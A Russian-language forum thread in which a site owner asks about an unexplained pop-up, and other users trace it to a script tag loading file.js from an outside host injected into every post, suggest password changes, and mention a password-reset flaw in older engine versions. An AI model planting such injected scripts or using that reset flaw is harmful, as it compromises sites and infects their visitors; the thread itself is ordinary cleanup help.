Пользователь
Забыли пароль? Регистрация
Сейчас на сайте

Пользователей на сайте: 191

0 пользователей, 191 гость

Откуда взялось? вирус?

#1
Lib3rty
  • Статус: Патриот
  • Сообщения: 890
  • Карма: 19
  • Возраст: 37
  • Пол:
Всем привет. сайт http://etaloff.net/ в правом нижнем углу начало выскакивать окошко как в аське, но я его туда не устанавливал. в main.tpl кода не нашел. Может кто подскажет откуда и что это может быть, а самое главное как убрать?


"Детство наполнено звуками, запахами, видами до тех пор, пока не возникнет темный час осмысления." John Betjeman

0 пользователя(ей) сказали спасибо:

#2
bombr3s
  • Статус: Легенда
  • Сообщения: 5573
  • Карма: 61
  • Возраст: 36
  • Пол:
рекламу тебе кто-то поставил ))) и вообще касперский ругается на вирусню загружаемую с твоего сайта ... пароли смени от фтп и от cpanel .....

0 пользователя(ей) сказали спасибо:

#3
Mihkel
  • Статус: Говорун
  • Сообщения: 298
  • Карма: 6
  • Возраст: 11
  • Пол:
Проблема в этом:
<script language="JavaScript" src="http://a2480899.byethost32.com/file.js"></script>
к каждому посту добавлен...


Огонь всё ярче,страницы жизни в нём горят…

0 пользователя(ей) сказали спасибо:

#4
doran
  • Статус: Administrator
  • Сообщения: 5497
  • Карма: 1049
  • Пол:
обычная проблемма бесплатных движков CMS,
код доступен, если нашли баг в нём, который позволяет,
докинуть на страницу ява скрипт, то тут же под раздачу попадают
все кто сидит на этом движке.

либо трояном сняли пасс с фтп клиента


Если бы не гравитация, многие бы уже давно допрыгались.

0 пользователя(ей) сказали спасибо:

#5
bombr3s
  • Статус: Легенда
  • Сообщения: 5573
  • Карма: 61
  • Возраст: 36
  • Пол:
у тя или пользователям разрешено использование HTML при добавлении новостей c сайта (настройка групп пользователей)

или скорее всего в shortstory.tpl прописан тот скрипт ...
если стоит версия ниже 4ем 8.3 то там давно дырку нашли в lostpassword ... можно выслать новый пароль админа на любой email

ещё можеш глянуть Рекламные материалы

0 пользователя(ей) сказали спасибо:

#6
Lib3rty
  • Статус: Патриот
  • Сообщения: 890
  • Карма: 19
  • Возраст: 37
  • Пол:
Цитата (Mihkel @ 03.12.2009, 17:47:05)
Проблема в этом:
<script language="JavaScript" src="http://a2480899.byethost32.com/file.js"></script>
к каждому посту добавлен...

Спасибо, я его видел но найти не мог...все почистил, и правдо в каждом посте был =((

Цитата
рекламу тебе кто-то поставил ))) и вообще касперский ругается на вирусню загружаемую с твоего сайта ... пароли смени от фтп и от cpanel .....


пароли поменял..


Цитата
у тя или пользователям разрешено использование HTML при добавлении новостей c сайта (настройка групп пользователей)

или скорее всего в shortstory.tpl прописан тот скрипт ...


добавление новостей запретил...раньше было только отправка на модерацию


"Детство наполнено звуками, запахами, видами до тех пор, пока не возникнет темный час осмысления." John Betjeman

0 пользователя(ей) сказали спасибо:

Пользователи читающие эту тему: 2

1 пользователь, 1 гость